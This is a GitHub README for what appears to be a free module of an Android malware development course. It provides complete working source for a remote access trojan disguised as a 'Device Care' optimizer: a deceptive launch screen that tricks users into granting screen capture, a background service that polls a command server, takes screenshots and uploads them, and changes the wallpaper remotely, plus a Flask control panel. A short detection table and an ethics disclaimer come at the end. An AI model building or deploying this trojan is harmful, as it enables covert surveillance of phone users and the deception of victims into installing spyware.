Skip to content

Malforge-Public-Organization/Android-Pocket-RAT-I

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2 Commits
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

FREE MODULE 2: The Pocket RAT

Control Any Phone Remotely from Your Browser
Part of the Android Malware Development Course – 100% FREE


Welcome, remote overlords!

After stealing real credentials in Free Module 1, it’s time to feel raw power.

In Free Module 2: The Pocket RAT, you will build a lightweight but genuinely dangerous remote access tool.

From a clean web panel on your laptop, you will remotely control the phone:

  • Change the wallpaper instantly to anything you want
  • Take a screenshot and see the victim’s screen

This is exactly how real lightweight RATs and banking trojans maintain live control after infection, silent, responsive, and scary.

You will feel like you actually own the device.


Why Start Here?

Module 1 let you steal. Module 2 lets you control.

The ability to change the wallpaper remotely is especially powerful and visually shocking, the victim suddenly sees your custom image (or a scary message) as their wallpaper. Combined with screenshot, this module feels truly malicious and professional.


What You’ll Learn

  • Building a simple bidirectional C2 using Flask + HTTP polling
  • Executing powerful remote commands on the device
  • Changing wallpaper remotely using WallpaperManager
  • Taking screenshots remotely (one-time permission)
  • Creating a clean browser-based control panel

Core Concepts

Before we start coding, let’s understand why these commands are dangerous and how they actually work. Think of the phone as a puppet and your laptop as the strings.

How Remote Control Actually Works

Your phone runs a small background service that quietly asks your laptop every 1.5 seconds: β€œAny new orders?”
Your laptop replies with a simple word (vibrate, screenshot, etc.).
The phone immediately obeys.

This is called polling, the same method used by real RATs because it works even behind strict firewalls.

Pocket RAT Command Flow

Laptop Browser β†’ Sends command β†’ Android Service receives it β†’ Phone executes instantly

Dangerous Commands You Will Implement

Command How It Works Why It Feels Malicious
Change Wallpaper Uses WallpaperManager.setBitmap() Instantly replaces the home screen wallpaper, very visible and creepy
Take Screenshot Uses MediaProjection (one-time permission) Captures exactly what the victim is seeing and sends it to you

Practical Task: Build the Pocket RAT

Goal:
Open a web page on your laptop β†’ click buttons β†’ watch the phone obey immediately (including changing the wallpaper and taking screenshots).

Step 1: Project Setup

  • New Project β†’ Empty Activity
  • Name: PocketRAT
  • Package: com.remote.service
  • Min SDK: 30

Step 2: AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.remote.service">

    <uses-permission android:name="android.permission.INTERNET" />

    <uses-permission android:name="android.permission.SET_WALLPAPER" />

    <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
    <uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />

    <application
        android:allowBackup="false"
        android:icon="@mipmap/ic_launcher"
        android:label="Device Care"
        android:theme="@style/Theme.PocketRAT"
        android:usesCleartextTraffic="true">

        <activity android:name=".MainActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <service android:name=".RATService" android:exported="false" android:foregroundServiceType="mediaProjection" />
    </application>
</manifest>

Overview of the AndroidManifest.xml File

This is the Android Manifest file (AndroidManifest.xml) for the Pocket RAT with package name com.remote.service. It declares the exact permissions and components needed for remote wallpaper changes, screenshot capture via MediaProjection, and persistent background operation.

The configuration is clean and focused on remote control capabilities while keeping the app disguised as a legitimate "Device Care" tool.

Breakdown of Key Sections

  1. Requested Permissions (<uses-permission>)

    • INTERNET: For C2 polling and exfiltration.
    • SET_WALLPAPER: Allows instant wallpaper replacement.
    • POST_NOTIFICATIONS, FOREGROUND_SERVICE, FOREGROUND_SERVICE_MEDIA_PROJECTION: Required for the persistent MediaProjection service.
  2. Application Configuration (<application>)

    • android:label="Device Care": Appears completely benign.
    • android:usesCleartextTraffic="true": For local Flask testing.
  3. Declared Components

    • MainActivity: Launcher, exported.
    • RATService: Foreground service (mediaProjection type), not exported.

Overall Functionality and Behavior

Intended Working Flow:

  1. App launches via MainActivity (innocent UI).
  2. User grants screen capture once.
  3. RATService starts as foreground service and begins polling the Flask C2.
  4. Commands arrive β†’ wallpaper changes or screenshot is taken and sent back.

Security Implications:
Minimal visible footprint + foreground service makes it extremely persistent. Wallpaper and screenshot commands mirror real RAT behavior.

ASCII Diagram of the AndroidManifest.xml Structure

AndroidManifest.xml
β”‚
β”œβ”€β”€ <uses-permission> Γ—5
β”‚   β”œβ”€β”€ INTERNET
β”‚   β”œβ”€β”€ SET_WALLPAPER
β”‚   β”œβ”€β”€ POST_NOTIFICATIONS
β”‚   β”œβ”€β”€ FOREGROUND_SERVICE
β”‚   └── FOREGROUND_SERVICE_MEDIA_PROJECTION
β”‚
└── <application>
    β”œβ”€β”€ label="Device Care"
    β”œβ”€β”€ usesCleartextTraffic="true"
    β”‚
    β”œβ”€β”€ <activity android:name=".MainActivity"> (LAUNCHER)
    β”‚
    └── <service android:name=".RATService">
        └── foregroundServiceType="mediaProjection"

Step 3: build.gradle.kts (:app)

plugins {
    alias(libs.plugins.android.application)
    alias(libs.plugins.kotlin.android)
}

android {
    namespace = "com.remote.service"
    compileSdk = 36

    defaultConfig {
        applicationId = "com.remote.service"
        minSdk = 30
        targetSdk = 36
        versionCode = 1
        versionName = "1.0"

        testInstrumentationRunner = "androidx.test.runner.AndroidJUnitRunner"
    }

    buildTypes {
        release {
            isMinifyEnabled = false
            proguardFiles(
                getDefaultProguardFile("proguard-android-optimize.txt"),
                "proguard-rules.pro"
            )
        }
    }
    compileOptions {
        sourceCompatibility = JavaVersion.VERSION_11
        targetCompatibility = JavaVersion.VERSION_11
    }
    kotlinOptions {
        jvmTarget = "11"
    }
}

dependencies {

    implementation(libs.androidx.core.ktx)
    implementation(libs.androidx.appcompat)
    implementation(libs.material)
    implementation(libs.androidx.activity)
    implementation(libs.androidx.constraintlayout)
    implementation("com.squareup.okhttp3:okhttp:4.12.0")
    testImplementation(libs.junit)
    androidTestImplementation(libs.androidx.junit)
    androidTestImplementation(libs.androidx.espresso.core)
}

Overview of the app/build.gradle.kts File

This is the Gradle build configuration (build.gradle.kts) for the Pocket RAT. It sets up a modern Android project and includes OkHttp, the only external dependency needed for C2 communication.

Breakdown of Key Sections

  1. Plugins and Android Block
    Targets API 36, minSdk 30 for maximum compatibility.

  2. Dependencies
    Standard AndroidX + okhttp:4.12.0 for polling and file upload.

Overall Functionality and Behavior

Compiles a lightweight APK capable of background C2 and MediaProjection.

ASCII Diagram of the build.gradle.kts Structure

build.gradle.kts
β”‚
β”œβ”€β”€ Plugins (Android + Kotlin)
β”‚
β”œβ”€β”€ Android Block
β”‚   β”œβ”€β”€ namespace, compileSdk=36, minSdk=30
β”‚   └── Java/Kotlin 11
β”‚
└── Dependencies
    β”œβ”€β”€ AndroidX UI
    └── okhttp (C2 engine)

Step 4: MainActivity.kt (The Trigger)

package com.remote.service

import android.app.Activity
import android.content.Context
import android.content.Intent
import android.media.projection.MediaProjectionManager
import android.os.Bundle
import android.widget.Button
import android.widget.Toast
import androidx.activity.result.contract.ActivityResultContracts
import androidx.appcompat.app.AppCompatActivity

class MainActivity : AppCompatActivity() {

    private lateinit var mediaProjectionManager: MediaProjectionManager

    private val screenCaptureLauncher = registerForActivityResult(
        ActivityResultContracts.StartActivityForResult()
    ) { result ->
        if (result.resultCode == Activity.RESULT_OK && result.data != null) {
            // The user accepted the screen capture prompt!
            Toast.makeText(this, "Optimization Started", Toast.LENGTH_SHORT).show()

            // Start the background RAT service
            val serviceIntent = Intent(this, RATService::class.java).apply {
                putExtra("code", result.resultCode)
                putExtra("data", result.data)
            }
            startForegroundService(serviceIntent)

            // Close the visible app
            finish()
        } else {
            Toast.makeText(this, "Optimization Cancelled.", Toast.LENGTH_LONG).show()
        }
    }

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        mediaProjectionManager = getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
        val btnOptimize = findViewById<Button>(R.id.btnOptimize)

        btnOptimize.setOnClickListener {
            // Straight to the point: Only trigger the MediaProjection prompt.
            // No extra permissions requested!
            val captureIntent = mediaProjectionManager.createScreenCaptureIntent()
            screenCaptureLauncher.launch(captureIntent)
        }
    }
}

Overview of the MainActivity.kt File

This is the main activity class (MainActivity.kt) that serves as the innocent-looking launcher. It requests the one-time MediaProjection permission and immediately starts the background RATService.

Breakdown of Key Sections

  1. ActivityResultLauncher – Handles the screen capture consent dialog.
  2. onCreate() – Sets up the UI and launches the permission intent on button click.
  3. Service Start – Passes resultCode and data to RATService, then self-destructs (finish()).

Overall Functionality and Behavior

Intended Working Flow:
App opens β†’ Tap "Optimize Now" β†’ Standard Android screen-capture prompt β†’ Service starts in background β†’ App disappears.

Security Implications:
One-time permission + immediate background transition is exactly how real RATs hide after initial infection.

ASCII Diagram of the MainActivity.kt Structure

MainActivity.kt
β”‚
β”œβ”€β”€ screenCaptureLauncher (ActivityResult)
β”‚
└── onCreate()
    β”œβ”€β”€ setContentView (innocent UI)
    β”œβ”€β”€ btnOptimize β†’ createScreenCaptureIntent()
    └── on result β†’ startForegroundService(RATService) + finish()

activity_main.xml (The layout)

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:background="#FFFFFF"
    android:gravity="center_horizontal"
    android:orientation="vertical"
    android:padding="24dp">

    <Space
        android:layout_width="match_parent"
        android:layout_height="0dp"
        android:layout_weight="1" />

    <ImageView
        android:layout_width="72dp"
        android:layout_height="72dp"
        android:layout_marginBottom="24dp"
        android:src="@android:drawable/ic_menu_manage"
        app:tint="#1A73E8" />

    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Device Care &amp; Optimization"
        android:textAlignment="center"
        android:textColor="#202124"
        android:textSize="24sp"
        android:textStyle="bold" />

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="16dp"
        android:lineSpacingExtra="4dp"
        android:textAlignment="center"
        android:text="To clear hidden cache and optimize background rendering, Device Care needs to briefly analyze your display output.\n\nPlease accept the standard Android prompt on the next screen to proceed."
        android:textColor="#5F6368"
        android:textSize="16sp" />

    <Space
        android:layout_width="match_parent"
        android:layout_height="0dp"
        android:layout_weight="1" />

    <Button
        android:id="@+id/btnOptimize"
        android:layout_width="match_parent"
        android:layout_height="56dp"
        android:layout_marginBottom="32dp"
        android:backgroundTint="#1A73E8"
        android:text="Optimize Now"
        android:textColor="#FFFFFF"
        android:textSize="16sp"
        android:textStyle="bold"
        app:cornerRadius="8dp" />

</LinearLayout>

Overview of the activity_main.xml File

This is the layout file for the visible "Device Care" screen. It uses official-looking Google colors and wording to make the initial launch feel completely legitimate.

Breakdown of Key Sections

  • Centered title and icon
  • Convincing explanatory text about "optimization"
  • Blue "Optimize Now" button

Overall Functionality and Behavior

Provides the social-engineering facade before disappearing forever.

ASCII Diagram of the activity_main.xml Structure

activity_main.xml
β”‚
└── LinearLayout (vertical, centered)
    β”œβ”€β”€ ImageView (manage icon, blue tint)
    β”œβ”€β”€ TextView "Device Care & Optimization"
    β”œβ”€β”€ TextView long explanatory text
    └── Button id=btnOptimize (blue)

Step 5: RATService.kt (The Remote Brain)

    package com.remote.service

    import android.app.Activity
    import android.app.Notification
    import android.app.NotificationChannel
    import android.app.NotificationManager
    import android.app.Service
    import android.app.WallpaperManager
    import android.content.Context
    import android.content.Intent
    import android.graphics.Bitmap
    import android.graphics.Canvas
    import android.graphics.Color
    import android.graphics.Paint
    import android.graphics.PixelFormat
    import android.hardware.display.DisplayManager
    import android.hardware.display.VirtualDisplay
    import android.media.ImageReader
    import android.graphics.BitmapFactory
    import android.media.projection.MediaProjection
    import android.media.projection.MediaProjectionManager
    import android.os.*
    import android.util.Base64
    import android.util.Log
    import android.view.WindowManager
    import android.widget.Toast
    import androidx.core.app.NotificationCompat
    import okhttp3.*
    import java.io.ByteArrayOutputStream
    import java.io.IOException

    class RATService : Service() {

        private val CHANNEL_ID = "OptimizerServiceChannel"
        private var mediaProjection: MediaProjection? = null
        private val handler = Handler(Looper.getMainLooper())
        private val client = OkHttpClient()

        private val C2_SERVER_URL = "http://10.0.2.2:5000/get_command"

        private val commandPollingRunnable = object : Runnable {
            override fun run() {
                pollServerForCommands()
                handler.postDelayed(this, 3000)
            }
        }

        private fun pollServerForCommands() {
            val request = Request.Builder().url(C2_SERVER_URL).build()
            client.newCall(request).enqueue(object : Callback {
                override fun onFailure(call: Call, e: IOException) {
                    Log.e("POCKET_RAT", "[-] C2 Connection Failed: ${e.message}")
                }
                override fun onResponse(call: Call, response: Response) {
                    // .use {} ensures the response body is safely closed, fixing the leak!
                    response.use { res ->
                        val command = res.body?.string()?.trim() ?: ""
                        if (command != "none" && command.isNotEmpty()) {
                            Log.e("POCKET_RAT", "[+] C2 Command Received: $command")
                            handler.post { executeCommand(command) }
                        }
                    }
                }
            })
        }

        private fun downloadAndSetWallpaper() {
            val wallpaperUrl = C2_SERVER_URL.replace("get_command", "hacked_wallpaper")
            Log.e("POCKET_RAT", "[*] Fetching wallpaper from: $wallpaperUrl")

            val request = Request.Builder().url(wallpaperUrl).build()

            client.newCall(request).enqueue(object : Callback {
                override fun onFailure(call: Call, e: IOException) {
                    Log.e("POCKET_RAT", "[-] Network Failure: ${e.message}")
                }

                override fun onResponse(call: Call, response: Response) {
                    response.use { res ->
                        if (!res.isSuccessful) {
                            // THIS is likely where it failed before!
                            Log.e("POCKET_RAT", "[-] HTTP Error: ${res.code}. Is 'hacked.png' definitely in the Flask folder?")
                            return
                        }
                        try {
                            val bytes = res.body?.bytes()
                            if (bytes != null && bytes.isNotEmpty()) {
                                Log.e("POCKET_RAT", "[*] Downloaded ${bytes.size} bytes. Decoding image...")

                                val bitmap = BitmapFactory.decodeByteArray(bytes, 0, bytes.size)
                                if (bitmap != null) {
                                    val wallpaperManager = WallpaperManager.getInstance(applicationContext)
                                    wallpaperManager.setBitmap(bitmap)

                                    Log.e("POCKET_RAT", "βœ… SUCCESS: C2 Wallpaper applied!")
                                    handler.post {
                                        Toast.makeText(applicationContext, "Debug: Wallpaper Applied", Toast.LENGTH_SHORT).show()
                                    }
                                } else {
                                    Log.e("POCKET_RAT", "[-] Decoding failed! The downloaded file is not a valid image format.")
                                }
                            } else {
                                Log.e("POCKET_RAT", "[-] Server returned an empty file.")
                            }
                        } catch (e: Exception) {
                            Log.e("POCKET_RAT", "[-] Crash setting wallpaper: ${e.message}")
                        }
                    }
                }
            })
        }

        private fun captureScreenLocally() {
            if (mediaProjection == null) return

            val windowManager = getSystemService(Context.WINDOW_SERVICE) as WindowManager
            val metrics = windowManager.currentWindowMetrics
            val width = metrics.bounds.width()
            val height = metrics.bounds.height()
            val density = resources.displayMetrics.densityDpi

            val imageReader = ImageReader.newInstance(width, height, PixelFormat.RGBA_8888, 2)
            var virtualDisplay: VirtualDisplay? = null

            virtualDisplay = mediaProjection?.createVirtualDisplay(
                "RAT_ScreenCapture", width, height, density,
                DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
                imageReader.surface, null, null
            )

            // Lock to ensure we only capture ONE frame
            var isCaptured = false

            imageReader.setOnImageAvailableListener({ reader ->
                if (isCaptured) return@setOnImageAvailableListener
                isCaptured = true

                val image = reader.acquireLatestImage()
                if (image != null) {
                    val planes = image.planes
                    val buffer = planes[0].buffer
                    val pixelStride = planes[0].pixelStride
                    val rowStride = planes[0].rowStride
                    val rowPadding = rowStride - pixelStride * width

                    val bitmap = Bitmap.createBitmap(width + rowPadding / pixelStride, height, Bitmap.Config.ARGB_8888)
                    bitmap.copyPixelsFromBuffer(buffer)

                    val stream = ByteArrayOutputStream()
                    bitmap.compress(Bitmap.CompressFormat.JPEG, 50, stream)
                    val realBase64String = Base64.encodeToString(stream.toByteArray(), Base64.DEFAULT)

                    image.close()
                    virtualDisplay?.release()
                    imageReader.setOnImageAvailableListener(null, null)
                    sendScreenshotToServer(realBase64String)
                }
            }, handler)
        }

        private fun executeCommand(command: String) {
            when (command) {
                "screenshot" -> {
                    Log.e("POCKET_RAT", "πŸ“Έ ACTION: Screen capture triggered.")
                    captureScreenLocally()
                }
                "change_wallpaper" -> {
                    Log.e("POCKET_RAT", "πŸ–ΌοΈ ACTION: Downloading and Setting C2 Wallpaper.")
                    downloadAndSetWallpaper() // <-- We will create this function next
                }
                else -> Log.e("POCKET_RAT", "[?] Unknown command: $command")
            }
        }

        private fun sendScreenshotToServer(safeImagePayload: String) {
            val formBody = FormBody.Builder().add("image", safeImagePayload).build()
            val request = Request.Builder()
                .url(C2_SERVER_URL.replace("get_command", "upload_screenshot"))
                .post(formBody).build()

            client.newCall(request).enqueue(object : Callback {
                override fun onFailure(call: Call, e: IOException) {}
                override fun onResponse(call: Call, response: Response) {
                    Log.e("POCKET_RAT", "[+] Payload exfiltrated to C2 successfully!")
                }
            })
        }

        override fun onCreate() {
            super.onCreate()
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
                val serviceChannel = NotificationChannel(CHANNEL_ID, "Optimizer Service Channel", NotificationManager.IMPORTANCE_LOW)
                getSystemService(NotificationManager::class.java).createNotificationChannel(serviceChannel)
            }
        }

        override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
            val notification: Notification = NotificationCompat.Builder(this, CHANNEL_ID)
                .setContentTitle("Device Care")
                .setContentText("Optimization running in background...")
                .setSmallIcon(android.R.drawable.ic_dialog_info)
                .build()
            startForeground(1, notification)

            val resultCode = intent?.getIntExtra("code", Activity.RESULT_CANCELED) ?: Activity.RESULT_CANCELED
            val resultData: Intent? = intent?.getParcelableExtra("data")

            if (resultCode == Activity.RESULT_OK && resultData != null) {
                mediaProjection = (getSystemService(Context.MEDIA_PROJECTION_SERVICE) as MediaProjectionManager).getMediaProjection(resultCode, resultData)
                Log.e("POCKET_RAT", "🎯 SUCCESS: Background Service Active.")
                handler.post(commandPollingRunnable)
            }
            return START_NOT_STICKY
        }

        override fun onDestroy() {
            super.onDestroy()
            handler.removeCallbacks(commandPollingRunnable)
            mediaProjection?.stop()
        }
        override fun onBind(intent: Intent?): IBinder? = null
    }

Overview of the RATService.kt File

This is the core remote access service (RATService.kt). It runs as a foreground service, polls the Flask C2 every 3 seconds, executes received commands (wallpaper change or screenshot), and sends results back.

Breakdown of Key Sections

  1. Polling Logic – commandPollingRunnable every 3000 ms.
  2. downloadAndSetWallpaper() – Fetches hacked.png from C2 and applies it via WallpaperManager.
  3. captureScreenLocally() – Uses MediaProjection + VirtualDisplay + ImageReader to capture one frame, converts to Base64.
  4. executeCommand() – Routes "screenshot" or "change_wallpaper".
  5. sendScreenshotToServer() – POSTs Base64 image to /upload_screenshot.

Overall Functionality and Behavior

Intended Working Flow:
Service starts β†’ Polls /get_command β†’ Receives command β†’ Executes instantly (wallpaper or screenshot) β†’ Reports back.

Security Implications:
Persistent foreground service + MediaProjection gives full visual control. Wallpaper change is instant and highly visible.

ASCII Diagram of the RATService.kt Structure

RATService.kt
β”‚
β”œβ”€β”€ onStartCommand() β†’ startForeground + get MediaProjection
β”‚
β”œβ”€β”€ commandPollingRunnable (every 3s)
β”‚   └── pollServerForCommands() β†’ GET /get_command
β”‚
β”œβ”€β”€ executeCommand(cmd)
β”‚   β”œβ”€β”€ "screenshot" β†’ captureScreenLocally()
β”‚   └── "change_wallpaper" β†’ downloadAndSetWallpaper()
β”‚
β”œβ”€β”€ captureScreenLocally() β†’ VirtualDisplay β†’ Base64 β†’ sendScreenshotToServer()
β”‚
└── downloadAndSetWallpaper() β†’ GET /hacked_wallpaper β†’ WallpaperManager.setBitmap()

Step 6: Flask Web Panel

from flask import Flask, request, render_template_string, send_file
import os

app = Flask(__name__)

pending_command = "none"
latest_screenshot = None

@app.route('/')
def panel():
    # We completely removed the annoying page reload!
    html = """
    <html>
    <head><title>Pocket RAT C2</title></head>
    <body style="font-family: Arial; padding: 20px; background-color: #f4f4f9;">
        <h1 style="color: #d93025;">πŸ”΄ Pocket RAT Control Panel</h1>
        
        <div style="margin-bottom: 20px;">
            <button onclick="sendCommand('change_wallpaper')" style="padding: 15px; background: #ea4335; color: white; border: none; cursor: pointer; font-size: 16px; font-weight: bold; margin-right: 10px;">πŸ–ΌοΈ Deploy Wallpaper</button>
            <button onclick="sendCommand('screenshot')" style="padding: 15px; background: #34a853; color: white; border: none; cursor: pointer; font-size: 16px; font-weight: bold;">πŸ“Έ Take Screenshot</button>
        </div>

        <h2>Latest Screenshot:</h2>
        <div style="border: 2px dashed #ccc; width: 350px; min-height: 550px; display: flex; align-items: center; justify-content: center; background: #fff;">
            <p id="ss-placeholder" style="color: #999;">Waiting for payload...</p>
            <img id="ss-img" src="" style="max-width: 100%; max-height: 100%; display: none;">
        </div>

        <script>
            function sendCommand(cmd) {
                fetch('/set_command', {method: 'POST', body: cmd});
            }

            // Smoothly fetch just the image data every 3 seconds
            setInterval(() => {
                fetch('/get_screenshot_data')
                .then(response => response.text())
                .then(base64data => {
                    if(base64data && base64data !== "none") {
                        document.getElementById('ss-img').src = "data:image/png;base64," + base64data;
                        document.getElementById('ss-img').style.display = 'block';
                        document.getElementById('ss-placeholder').style.display = 'none';
                    }
                });
            }, 3000);
        </script>
    </body>
    </html>
    """
    return render_template_string(html)

@app.route('/set_command', methods=['POST'])
def set_command():
    global pending_command
    pending_command = request.get_data(as_text=True)
    print(f"[!] C2 Command Queued: {pending_command}")
    return "OK"

@app.route('/get_command', methods=['GET'])
def get_command():
    global pending_command
    cmd_to_send = pending_command
    pending_command = "none" 
    return cmd_to_send

@app.route('/upload_screenshot', methods=['POST'])
def upload_screenshot():
    global latest_screenshot
    latest_screenshot = request.form.get('image')
    print("[+] πŸ“Έ Screenshot payload successfully stored in C2!")
    return "OK"

# This endpoint feeds the smooth AJAX update on the webpage
@app.route('/get_screenshot_data', methods=['GET'])
def get_screenshot_data():
    global latest_screenshot
    return latest_screenshot if latest_screenshot else "none"

@app.route('/hacked_wallpaper', methods=['GET'])
def get_hacked_wallpaper():
    print("[*] Target requested wallpaper payload...")
    return send_file('hacked.png', mimetype='image/png')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

Overview of the Flask Web Panel File

This is the browser-based C2 control panel (app.py). It provides a clean web interface to queue commands and view live screenshots.

Breakdown of Key Sections

  1. /panel (GET) – Renders the beautiful control page with buttons and live image.
  2. /set_command (POST) – Queues the command.
  3. /get_command (GET) – Returns next command (polled by RAT).
  4. /upload_screenshot (POST) – Stores Base64 screenshot.
  5. /get_screenshot_data (GET) – AJAX-fed live image.
  6. /hacked_wallpaper (GET) – Serves the custom PNG.

Overall Functionality and Behavior

Intended Working Flow:
Run Flask β†’ Open http://localhost:5000 β†’ Click buttons β†’ Phone instantly reacts β†’ Screenshot appears live.

Security Implications:
Simple polling + Base64 screenshot transfer is exactly how real lightweight RATs operate.

ASCII Diagram of the Flask Web Panel Structure

Flask Web Panel
β”‚
β”œβ”€β”€ Global: pending_command, latest_screenshot
β”‚
β”œβ”€β”€ / (GET) β†’ panel() with HTML + JS
β”‚
β”œβ”€β”€ /set_command (POST) β†’ queue command
β”œβ”€β”€ /get_command (GET) β†’ return & clear
β”œβ”€β”€ /upload_screenshot (POST) β†’ store Base64
β”œβ”€β”€ /get_screenshot_data (GET) β†’ AJAX image feed
└── /hacked_wallpaper (GET) β†’ send_file('hacked.png')

Testing Instructions

  1. Run Flask panel on your laptop (python app.py)

  2. Install the APK on emulator

  3. Open browser β†’ http://localhost:5000 alt text

  4. Click commands and watch the phone react:

    • Change Wallpaper

    alt text

    • Take Screenshot alt text

Defensive Perspective

How to Detect & Stop the Pocket RAT Attack

Red Flag How to Spot It How to Protect Yourself / Users
Phone vibrates or shows random toasts without any app open Check recent notifications and background activity Monitor Notification history and restrict background apps
Wallpaper changes by itself Instant visual clue Check Settings > Wallpaper, see if any unknown app recently changed it
Browser opens unknown URLs or screenshots are taken silently Check browser history and recent media in Gallery Disable unnecessary permissions (Camera, Storage) and review running services
Battery drains faster than usual Settings > Battery shows unknown service using power Use built-in Battery optimization and kill suspicious background processes

Pro Tip for Developers & Enterprises: Use UsageStatsManager restrictions and AppOps to block background polling. Enterprise MDM can force-disable foreground services and monitor for HTTP polling patterns.


Learning Outcomes

By the end of this free module, you’ll:

  • Build a real remote control RAT with multiple dangerous commands
  • Remotely change the victim’s wallpaper
  • Take screenshots and see the screen live
  • Understand how real RATs maintain frightening levels of control

Ethical Reminder

This module is for educational and research purposes only. Never use on real devices or people. Always test in isolated emulators.

About

Free Module 2: An educational Android Command and Control (C2) lab. Demonstrates how lightweight Remote Access Trojans (RATs) maintain bidirectional communication via HTTP polling to execute remote commands. Includes a Kotlin client and Python/Flask dashboard. For defense analysis only.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors